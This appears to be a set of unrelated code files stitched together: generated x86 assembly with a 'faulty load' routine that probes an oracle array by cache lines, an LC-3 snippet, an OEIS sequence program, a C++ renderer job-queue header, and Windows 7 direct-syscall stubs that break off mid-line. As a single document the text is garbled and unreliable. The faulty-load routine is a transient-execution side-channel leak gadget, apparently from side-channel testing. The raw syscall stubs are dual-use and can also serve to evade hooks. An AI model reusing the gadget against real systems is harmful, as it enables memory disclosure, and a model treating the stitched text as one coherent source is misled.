.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %r14 push %r9 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0xed4a, %r9 clflush (%r9) nop nop cmp %r12, %r12 movb $0x61, (%r9) nop nop cmp %r12, %r12 lea addresses_UC_ht+0x11f8a, %rdx nop nop cmp $12071, %r14 mov $0x6162636465666768, %rax movq %rax, (%rdx) nop nop nop nop cmp $16293, %r12 lea addresses_WC_ht+0xb192, %r12 and %r13, %r13 mov (%r12), %edx nop nop and $23976, %r9 lea addresses_A_ht+0x1ca, %r14 nop nop nop inc %rsi mov $0x6162636465666768, %r9 movq %r9, (%r14) nop and %r14, %r14 lea addresses_normal_ht+0x1a54a, %rsi nop nop xor %r14, %r14 mov (%rsi), %r12 nop nop sub %rdx, %rdx lea addresses_WT_ht+0x1bd4a, %rsi lea addresses_WT_ht+0xd8f2, %rdi clflush (%rsi) nop nop xor %r9, %r9 mov $81, %rcx rep movsb sub $12988, %rdx lea addresses_D_ht+0xa032, %rsi lea addresses_WT_ht+0x9d4a, %rdi clflush (%rsi) nop nop nop nop cmp $46850, %r12 mov $40, %rcx rep movsw xor $31903, %r12 lea addresses_normal_ht+0x6f4a, %r9 nop inc %r12 mov $0x6162636465666768, %r14 movq %r14, %xmm1 movups %xmm1, (%r9) nop cmp $8711, %rdx lea addresses_normal_ht+0x116c2, %rsi lea addresses_D_ht+0x1232a, %rdi nop nop sub %r9, %r9 mov $32, %rcx rep movsq nop nop nop nop add %r13, %r13 lea addresses_UC_ht+0x8d5c, %r9 clflush (%r9) nop and $18039, %rax movups (%r9), %xmm6 vpextrq $1, %xmm6, %r12 nop nop nop cmp $50828, %r13 lea addresses_WC_ht+0x1c2da, %rdx nop nop nop nop nop and %r9, %r9 vmovups (%rdx), %ymm3 vextracti128 $1, %ymm3, %xmm3 vpextrq $0, %xmm3, %r13 nop nop sub $620, %rcx pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r9 pop %r14 pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %rbx push %rdx // Faulty Load mov $0x5dd6690000000d4a, %r13 nop nop nop xor %rbx, %rbx mov (%r13), %r10d lea oracles, %rbx and $0xff, %r10 shlq $12, %r10 mov (%rbx,%r10,1), %r10 pop %rdx pop %rbx pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': True}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 9, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 6, 'size': 8, 'same': False, 'NT': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 3, 'size': 4, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 4, 'size': 8, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 11, 'size': 8, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 9, 'size': 16, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 4, 'size': 32, 'same': False, 'NT': False}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
.ORIG x3000 ADD R0 R0 #7 ADD R0 R0 #-3 ADD R1 R1 #7 ADD R2 R2 #-4 ADD R3 R1 R2 HALT
; A099462: Expansion of x/(1 - 4*x^2 - 4*x^3). ; Submitted by Christian Krause ; 0,1,0,4,4,16,32,80,192,448,1088,2560,6144,14592,34816,82944,197632,471040,1122304,2674688,6373376,15187968,36192256,86245376,205520896,489750528,1167065088,2781085696,6627262464,15792603136,37633392640 mov $4,1 lpb $0 sub $0,1 mov $1,$4 mul $2,4 mov $4,$2 mov $2,$1 add $2,$3 mov $3,$1 lpe mov $0,$1
// Authors: Nathan Carlson // Copyright 2015, DigiPen Institute of Technology #pragma once namespace Zero { OsInt RendererThreadMain(void* rendererThreadJobQueue); class RendererJob { public: virtual ~RendererJob() {} virtual void Execute() = 0; virtual void ReturnExecute() {} }; class RendererJobQueue { public: void AddJob(RendererJob* rendererJob); void TakeAllJobs(Array<RendererJob*>& rendererJobs); ThreadLock mThreadLock; Array<RendererJob*> mRendererJobs; }; class RendererThreadJobQueue : public RendererJobQueue { public: void AddJob(RendererJob* rendererJob); void WaitForJobs(); bool HasJobs(); bool ShouldExitThread(); OsEvent mRendererThreadEvent; bool mExitThread; }; class WaitRendererJob : public RendererJob { public: WaitRendererJob(); // Wait function called by main thread to wait on this job void WaitOnThisJob(); OsEvent mWaitEvent; }; // Adds itself back into the job queue until terminated class RepeatingJob : public RendererJob { public: RepeatingJob(RendererThreadJobQueue* jobQueue); void Execute() override; virtual void OnExecute() = 0; virtual bool OnShouldRun() {return false;} void Lock(); void Unlock(); bool ShouldRun(); bool IsRunning(); void Start(); void Terminate(); void ForceTerminate(); ThreadLock mThreadLock; RendererThreadJobQueue* mRendererJobQueue; uint mExecuteDelay; uint mStartCount; uint mEndCount; bool mShouldRun; bool mDelayTerminate; bool mForceTerminate; }; class CreateRendererJob : public WaitRendererJob { public: void Execute() override; OsHandle mMainWindowHandle; String mError; }; class DestroyRendererJob : public WaitRendererJob { public: void Execute() override; RendererThreadJobQueue* mRendererJobQueue; }; class AddMaterialJob : public RendererJob, public AddMaterialInfo { public: void Execute() override; }; class AddMeshJob : public RendererJob, public AddMeshInfo { public: void Execute() override; }; class AddTextureJob : public RendererJob, public AddTextureInfo { public: void Execute() override; }; class RemoveMaterialJob : public RendererJob { public: void Execute() override; MaterialRenderData* mRenderData; }; class RemoveMeshJob : public RendererJob { public: void Execute() override; MeshRenderData* mRenderData; }; class RemoveTextureJob : public RendererJob { public: void Execute() override; TextureRenderData* mRenderData; }; class SetLazyShaderCompilationJob : public RendererJob { public: void Execute() override; bool mLazyShaderCompilation; }; class AddShadersJob : public RepeatingJob { public: AddShadersJob(RendererThreadJobQueue* jobQueue); void OnExecute() override; bool OnShouldRun() override; void ReturnExecute() override; // All processed entries must be removed so that job knows when to terminate. Array<ShaderEntry> mShaders; // If non 0, specifies how many shaders to compile per execute. uint mForceCompileBatchCount; }; class RemoveShadersJob : public RendererJob { public: void Execute() override; Array<ShaderEntry> mShaders; }; class SetVSyncJob : public RendererJob { public: void Execute() override; bool mVSync; }; class DoRenderTasksJob : public WaitRendererJob { public: void Execute() override; RenderTasks* mRenderTasks; RenderQueues* mRenderQueues; }; class ReturnRendererJob : public RendererJob { public: void Execute() override; virtual void OnExecute() = 0; }; class GetTextureDataJob : public ReturnRendererJob, public GetTextureDataInfo { public: void OnExecute() override; }; class SaveImageToFileJob : public GetTextureDataJob { public: void ReturnExecute() override; String mFilename; }; class ShowProgressJob : public RepeatingJob, public ShowProgressInfo { public: ShowProgressJob(RendererThreadJobQueue* jobQueue); void OnExecute() override; bool OnShouldRun() override; // Capture the state of whatever our progress // values are and give it to the renderer. void ShowCurrentProgress(); }; } // namespace Zero
; DO NOT MODIFY THIS FILE DIRECTLY! ; author: @TinySecEx ; shadowssdt asm stub for 6.1.7601-sp1-windows-7 i386 .686 .mmx .xmm .model flat,stdcall option casemap:none option prologue:none option epilogue:none .code ; ULONG __stdcall NtGdiAbortDoc( ULONG arg_01 ); NtGdiAbortDoc PROC STDCALL arg_01:DWORD mov eax , 4096 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiAbortDoc ENDP ; ULONG __stdcall NtGdiAbortPath( ULONG arg_01 ); NtGdiAbortPath PROC STDCALL arg_01:DWORD mov eax , 4097 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiAbortPath ENDP ; ULONG __stdcall NtGdiAddFontResourceW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiAddFontResourceW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4098 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiAddFontResourceW ENDP ; ULONG __stdcall NtGdiAddRemoteFontToDC( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiAddRemoteFontToDC PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4099 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiAddRemoteFontToDC ENDP ; ULONG __stdcall NtGdiAddFontMemResourceEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiAddFontMemResourceEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4100 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiAddFontMemResourceEx ENDP ; ULONG __stdcall NtGdiRemoveMergeFont( ULONG arg_01 , ULONG arg_02 ); NtGdiRemoveMergeFont PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4101 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiRemoveMergeFont ENDP ; ULONG __stdcall NtGdiAddRemoteMMInstanceToDC( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiAddRemoteMMInstanceToDC PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4102 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiAddRemoteMMInstanceToDC ENDP ; ULONG __stdcall NtGdiAlphaBlend( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 ); NtGdiAlphaBlend PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD mov eax , 4103 mov edx , 7FFE0300h call dword ptr [edx] ret 48 NtGdiAlphaBlend ENDP ; ULONG __stdcall NtGdiAngleArc( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiAngleArc PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4104 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiAngleArc ENDP ; ULONG __stdcall NtGdiAnyLinkedFonts( ); NtGdiAnyLinkedFonts PROC STDCALL mov eax , 4105 mov edx , 7FFE0300h call dword ptr [edx] ret NtGdiAnyLinkedFonts ENDP ; ULONG __stdcall NtGdiFontIsLinked( ULONG arg_01 ); NtGdiFontIsLinked PROC STDCALL arg_01:DWORD mov eax , 4106 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiFontIsLinked ENDP ; ULONG __stdcall NtGdiArcInternal( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 ); NtGdiArcInternal PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD mov eax , 4107 mov edx , 7FFE0300h call dword ptr [edx] ret 40 NtGdiArcInternal ENDP ; ULONG __stdcall NtGdiBeginGdiRendering( ULONG arg_01 , ULONG arg_02 ); NtGdiBeginGdiRendering PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4108 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiBeginGdiRendering ENDP ; ULONG __stdcall NtGdiBeginPath( ULONG arg_01 ); NtGdiBeginPath PROC STDCALL arg_01:DWORD mov eax , 4109 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiBeginPath ENDP ; ULONG __stdcall NtGdiBitBlt( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 ); NtGdiBitBlt PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD mov eax , 4110 mov edx , 7FFE0300h call dword ptr [edx] ret 44 NtGdiBitBlt ENDP ; ULONG __stdcall NtGdiCancelDC( ULONG arg_01 ); NtGdiCancelDC PROC STDCALL arg_01:DWORD mov eax , 4111 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiCancelDC ENDP ; ULONG __stdcall NtGdiCheckBitmapBits( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 ); NtGdiCheckBitmapBits PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD mov eax , 4112 mov edx , 7FFE0300h call dword ptr [edx] ret 32 NtGdiCheckBitmapBits ENDP ; ULONG __stdcall NtGdiCloseFigure( ULONG arg_01 ); NtGdiCloseFigure PROC STDCALL arg_01:DWORD mov eax , 4113 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiCloseFigure ENDP ; ULONG __stdcall NtGdiClearBitmapAttributes( ULONG arg_01 , ULONG arg_02 ); NtGdiClearBitmapAttributes PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4114 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiClearBitmapAttributes ENDP ; ULONG __stdcall NtGdiClearBrushAttributes( ULONG arg_01 , ULONG arg_02 ); NtGdiClearBrushAttributes PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4115 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiClearBrushAttributes ENDP ; ULONG __stdcall NtGdiColorCorrectPalette( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiColorCorrectPalette PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4116 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiColorCorrectPalette ENDP ; ULONG __stdcall NtGdiCombineRgn( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiCombineRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4117 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiCombineRgn ENDP ; ULONG __stdcall NtGdiCombineTransform( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiCombineTransform PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4118 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiCombineTransform ENDP ; ULONG __stdcall NtGdiComputeXformCoefficients( ULONG arg_01 ); NtGdiComputeXformCoefficients PROC STDCALL arg_01:DWORD mov eax , 4119 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiComputeXformCoefficients ENDP ; ULONG __stdcall NtGdiConfigureOPMProtectedOutput( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiConfigureOPMProtectedOutput PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4120 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiConfigureOPMProtectedOutput ENDP ; ULONG __stdcall NtGdiConvertMetafileRect( ULONG arg_01 , ULONG arg_02 ); NtGdiConvertMetafileRect PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4121 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiConvertMetafileRect ENDP ; ULONG __stdcall NtGdiCreateBitmap( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiCreateBitmap PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4122 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiCreateBitmap ENDP ; ULONG __stdcall NtGdiCreateBitmapFromDxSurface( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiCreateBitmapFromDxSurface PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4123 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiCreateBitmapFromDxSurface ENDP ; ULONG __stdcall NtGdiCreateClientObj( ULONG arg_01 ); NtGdiCreateClientObj PROC STDCALL arg_01:DWORD mov eax , 4124 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiCreateClientObj ENDP ; ULONG __stdcall NtGdiCreateColorSpace( ULONG arg_01 ); NtGdiCreateColorSpace PROC STDCALL arg_01:DWORD mov eax , 4125 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiCreateColorSpace ENDP ; ULONG __stdcall NtGdiCreateColorTransform( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 ); NtGdiCreateColorTransform PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD mov eax , 4126 mov edx , 7FFE0300h call dword ptr [edx] ret 32 NtGdiCreateColorTransform ENDP ; ULONG __stdcall NtGdiCreateCompatibleBitmap( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiCreateCompatibleBitmap PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4127 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiCreateCompatibleBitmap ENDP ; ULONG __stdcall NtGdiCreateCompatibleDC( ULONG arg_01 ); NtGdiCreateCompatibleDC PROC STDCALL arg_01:DWORD mov eax , 4128 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiCreateCompatibleDC ENDP ; ULONG __stdcall NtGdiCreateDIBBrush( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiCreateDIBBrush PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4129 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiCreateDIBBrush ENDP ; ULONG __stdcall NtGdiCreateDIBitmapInternal( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 ); NtGdiCreateDIBitmapInternal PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD mov eax , 4130 mov edx , 7FFE0300h call dword ptr [edx] ret 44 NtGdiCreateDIBitmapInternal ENDP ; ULONG __stdcall NtGdiCreateDIBSection( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 ); NtGdiCreateDIBSection PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD mov eax , 4131 mov edx , 7FFE0300h call dword ptr [edx] ret 36 NtGdiCreateDIBSection ENDP ; ULONG __stdcall NtGdiCreateEllipticRgn( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiCreateEllipticRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4132 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiCreateEllipticRgn ENDP ; ULONG __stdcall NtGdiCreateHalftonePalette( ULONG arg_01 ); NtGdiCreateHalftonePalette PROC STDCALL arg_01:DWORD mov eax , 4133 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiCreateHalftonePalette ENDP ; ULONG __stdcall NtGdiCreateHatchBrushInternal( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiCreateHatchBrushInternal PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4134 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiCreateHatchBrushInternal ENDP ; ULONG __stdcall NtGdiCreateMetafileDC( ULONG arg_01 ); NtGdiCreateMetafileDC PROC STDCALL arg_01:DWORD mov eax , 4135 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiCreateMetafileDC ENDP ; ULONG __stdcall NtGdiCreateOPMProtectedOutputs( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiCreateOPMProtectedOutputs PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4136 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiCreateOPMProtectedOutputs ENDP ; ULONG __stdcall NtGdiCreatePaletteInternal( ULONG arg_01 , ULONG arg_02 ); NtGdiCreatePaletteInternal PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4137 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiCreatePaletteInternal ENDP ; ULONG __stdcall NtGdiCreatePatternBrushInternal( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiCreatePatternBrushInternal PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4138 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiCreatePatternBrushInternal ENDP ; ULONG __stdcall NtGdiCreatePen( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiCreatePen PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4139 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiCreatePen ENDP ; ULONG __stdcall NtGdiCreateRectRgn( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiCreateRectRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4140 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiCreateRectRgn ENDP ; ULONG __stdcall NtGdiCreateRoundRectRgn( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiCreateRoundRectRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4141 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiCreateRoundRectRgn ENDP ; ULONG __stdcall NtGdiCreateServerMetaFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiCreateServerMetaFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4142 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiCreateServerMetaFile ENDP ; ULONG __stdcall NtGdiCreateSolidBrush( ULONG arg_01 , ULONG arg_02 ); NtGdiCreateSolidBrush PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4143 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiCreateSolidBrush ENDP ; ULONG __stdcall NtGdiD3dContextCreate( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); 